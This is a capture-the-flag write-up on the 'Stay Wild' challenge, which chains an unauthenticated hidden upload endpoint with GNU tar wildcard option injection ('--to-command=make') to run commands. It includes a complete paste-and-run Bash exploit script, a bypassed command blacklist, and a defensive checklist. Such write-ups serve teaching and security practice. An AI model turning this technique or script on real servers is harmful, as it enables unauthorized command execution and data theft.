6 min read

Stay Wild — OmniCTF 2026: From a Fake Frontend Restriction to GNU tar Wildcard Injection

Stay Wild — OmniCTF 2026: From a Fake Frontend Restriction to GNU tar Wildcard Injection

The fun of this challenge is that it stacks several individually-harmless oversights on top of one another: a hidden endpoint with no backend authorization, a tar command that hands user-supplied filenames straight to the Shell for * expansion, and a piece of server logic that deliberately preserves filenames beginning with --. Chain them together and you get a reliable RCE. Here's the full breakdown.

Finding the Hidden Entry Point

The landing page looks like nothing more than an ordinary Wildlife Archive.

robots.txt doesn't list any hidden path directly; it only drops a hint:

Field archive tooling is not ready for public indexing.

The tail end of style.css also contains styles that the landing page never uses at all:

/* EXTRACT FIRST-UPLOAD PAGE */
.archive-form { ... }
.extract-panel { ... }

Which eventually leads to an entry point that never appears in the nav bar:

/staging

The "hidden service" here isn't a Tor Hidden Service — it's just a staging endpoint with no public link pointing to it.

The Staging Workflow

Step Endpoint Function
First upload POST /staging Upload a .tar and create a workspace
View results GET /staging/:id Show the extraction log and files
Append data POST /additional/:id Drop additional files into the same workspace
Clear appended data POST /clear-additional/:id Keep the initial tar, remove the appended files

Once the first upload finishes, the server redirects to:

/staging/1784378248308

The Workspace ID is really just:

Date.now().toString()

Problem #1: A Frontend-Only Restriction

On the results page, the Additional Upload feature is set to disabled, with a note right next to it:

// Only for admins

But the code that enables the feature is just:

window.enableExperimentalIntake = function () {
  document.querySelectorAll("[data-beta-upload]").forEach((el) => {
    el.removeAttribute("disabled");
  });
};

This is purely a browser-side UI restriction — the backend never checks for admin identity at all.

So there's no need to tamper with cookies or run JavaScript in the console. You can simply send:

POST /additional/:id

and use the feature directly.

GNU tar Wildcard Injection

The Normal Way

tar -xvf archive.tar

Extracts only the specified archive.

The Challenge's Way

The server actually runs:

runWithPty(
  "tar -xvf " + shellQuote(archiveName) + " *",
  cwd,
  ...
);

which is:

tar -xvf "seed.tar" *

The dangerous part is the unquoted * at the end.

The Shell first expands that wildcard into every non-hidden file in the workspace:

tar -xvf seed.tar Makefile seed.tar extra.tar

If one of those filenames begins with --:

--to-command=make

the expanded result becomes:

tar -xvf seed.tar --to-command=make Makefile seed.tar

GNU tar treats that filename as a command-line option rather than an ordinary file.

This is GNU tar Wildcard Option Injection.

Why Does the Malicious Filename Survive?

The server source code even goes out of its way to preserve names starting with --:

function shouldKeepExactName(name) {
  // Payload filenames must remain exact for the intended tar option injection.
  return name.startsWith("--");
}

Ordinary files get renamed on a name collision, but --to-command=make stays in the workspace untouched.

First, Confirm Command Execution with id

Additional Upload only checks whether the MIME type is:

application/x-tar

It doesn't require the appended filename to end in .tar.

So you can take a legitimate tar and change its multipart filename to:

--to-command=id

The extraction log dutifully returns:

uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)

This proves we already have command execution with output.

The Blacklist and the make Bypass

The challenge author knows --to-command is dangerous, so there's a very long string blacklist applied to the additional filename.

It includes:

cat, sh, bash, python, perl, node, php
curl, wget, base64, grep, sed, awk
find, xargs, env, dd, tee
flag, seed, paw, opt, wild, cache

So all of the following names get blocked:

--to-command=sh
--to-command=node
--to-command=xargs

But the blacklist missed:

make

The real root cause isn't simply "they forgot to block make" — it's that the server hands an attacker-controlled filename to the Shell wildcard and then feeds it to GNU tar as an option.

The blacklist is just an easily-bypassed layer of filtering slapped on top of that underlying flaw.

Using a Makefile to Read the Seed

When each workspace is created, the server sets up a few internal symlinks.

The most important of these is:

.paw → /opt/wild/.cache/seed-574

The seed file holds a Base64-encoded flag.

The first upload's seed.tar only needs to contain an ordinary Makefile:

all:
	@cat .paw

On the second upload, set the multipart filename to:

--to-command=make

The flow of --to-command=make is:

GNU tar extracts a regular file
        ↓
runs make
        ↓
make's working directory is the workspace
        ↓
make automatically looks for a Makefile
        ↓
runs the default all target
        ↓
cat .paw

Note that tar doesn't execute the Makefile directly, and make doesn't treat stdin as a shell script.

tar launches make, and make then reads the previously-extracted Makefile from the current directory.

Full PoC

The whole block below can be pasted straight into Bash and run.

If the instance URL changes, set it first:

export STAYWILD_BASE='https://new-url'

then run the PoC.

bash <<'BASH'
set -Eeuo pipefail

BASE="${STAYWILD_BASE:-https://staywild-e11c10cbe476.inst.omnictf.com}"
BASE="${BASE%/}"

for bin in curl tar base64 grep awk mktemp head rm; do
    if ! command -v "$bin" >/dev/null 2>&1; then
        echo "[-] Missing command: $bin" >&2
        exit 1
    fi
done

TMP="$(mktemp -d -t staywild.XXXXXX)"

cleanup() {
    case "${TMP:-}" in
        /tmp/staywild.*)
            rm -rf -- "$TMP"
            ;;
    esac
}
trap cleanup EXIT

# The recipe in a Makefile must be preceded by a real Tab.
# Use printf's \t so it isn't turned into spaces when copied.
printf 'all:\n\t@cat .paw\n' > "$TMP/Makefile"

# The initial tar contains only a harmless Makefile.
tar -cf "$TMP/seed.tar" \
    -C "$TMP" Makefile

echo "[*] Creating staging workspace..."

STAGING_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -D "$TMP/staging.headers" \
        -o "$TMP/staging.body" \
        -c "$TMP/cookies.txt" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=seed.tar;type=application/x-tar" \
        "$BASE/staging"
)"

LOCATION="$(
    awk '
        tolower($1) == "location:" {
            gsub(/\r/, "", $2)
            location = $2
        }
        END {
            print location
        }
    ' "$TMP/staging.headers"
)"

if [[ -z "$LOCATION" ]]; then
    echo "[-] Server did not return a Workspace Location."
    echo "[-] HTTP status: $STAGING_CODE"
    echo
    head -c 2000 "$TMP/staging.body"
    echo
    exit 1
fi

LOCATION_PATH="${LOCATION%%\?*}"
LOCATION_PATH="${LOCATION_PATH%%\#*}"
LOCATION_PATH="${LOCATION_PATH%/}"
WORKSPACE_ID="${LOCATION_PATH##*/}"

if [[ ! "$WORKSPACE_ID" =~ ^[A-Za-z0-9_-]+$ ]]; then
    echo "[-] Unexpected Workspace ID: $WORKSPACE_ID" >&2
    exit 1
fi

echo "[+] Workspace ID: $WORKSPACE_ID"
echo "[*] Triggering GNU tar option injection..."

# The uploaded content is still a valid tar, but the multipart filename becomes a GNU tar option.
# The same seed.tar can simply be reused.
ADDITIONAL_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -b "$TMP/cookies.txt" \
        -c "$TMP/cookies.txt" \
        -o "$TMP/additional.body" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=--to-command=make;type=application/x-tar" \
        "$BASE/additional/$WORKSPACE_ID"
)"

# An omniCTF prefix, once Base64-encoded, starts with b21uaUNURn.
ENCODED="$(
    grep -oE 'b21uaUNURn[A-Za-z0-9+/]*={0,2}' \
        "$TMP/additional.body" |
        head -n 1 ||
        true
)"

if [[ -z "$ENCODED" ]]; then
    echo "[-] Base64 seed was not found."
    echo "[-] Additional-upload HTTP status: $ADDITIONAL_CODE"
    echo
    echo "----- Server response -----"
    head -c 3000 "$TMP/additional.body"
    echo
    exit 1
fi

DECODED="$(
    printf '%s' "$ENCODED" |
        base64 -d 2>/dev/null ||
        true
)"

FLAG="$(
    printf '%s' "$DECODED" |
        grep -oE 'omniCTF\{[^}]+\}' |
        head -n 1 ||
        true
)"

if [[ -z "$FLAG" ]]; then
    echo "[-] Seed was found but did not decode into the expected Flag."
    echo "[*] Encoded seed: $ENCODED"
    echo "[*] Decoded value: $DECODED"
    exit 1
fi

echo
echo "[+] Encoded seed: $ENCODED"
echo "[+] FLAG: $FLAG"
BASH

Execution Result

[*] Creating staging workspace...
[+] Workspace ID: 1784378248308
[*] Triggering GNU tar option injection...

[+] Encoded seed: b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==
[+] FLAG: omniCTF{Redacted}

The Complete Attack Chain

Find the unlinked /staging
        ↓
Upload a seed.tar containing a Makefile
        ↓
Obtain a predictable Workspace ID
        ↓
Call /additional/:id directly — no backend auth check
        ↓
Set the multipart filename to --to-command=make
        ↓
The Shell expands * into a malicious tar option
        ↓
GNU tar launches make
        ↓
make runs the Makefile: cat .paw
        ↓
Obtain the Base64 seed
        ↓
Base64-decode it
        ↓
Recover the flag

Where Are the Bugs?

1. Frontend Access Control

disabled button ≠ backend authorization

The additional endpoint never verifies the user's role or the workspace's ownership.

2. Shell Wildcard Option Injection

tar -xvf "archive.tar" *

An attacker-controlled filename reaches GNU tar's options by way of *.

3. Preserving Option-Style Filenames

name.startsWith("--")

The server deliberately preserves the most dangerous filename format.

4. Blacklist Defense

Blocking a mountain of commands still can't enumerate every exploitable binary, and make became the way through.

5. Predictable IDs and IDOR

Date.now().toString()

GET /staging/:id, along with the additional and clear endpoints, all lack any owner verification.

This isn't a step the main exploit has to rely on, but it does expose other people's workspaces and logs to unauthorized access.

A Practical Checklist

When you run into an archive-upload challenge, check for:

  1. Does the backend invoke tar, zip, or unzip through the Shell?
  2. Does the command use an unquoted *?
  3. Can an uploaded filename begin with - or --?
  4. Does the server preserve the original user-supplied filename?
  5. Do tar members and multipart filenames use different validation rules?
  6. Do frontend-disabled features lack backend authorization?
  7. Is the Workspace ID predictable and free of owner verification?
  8. Can the blacklist be bypassed with another interpreter, build tool, or system binary?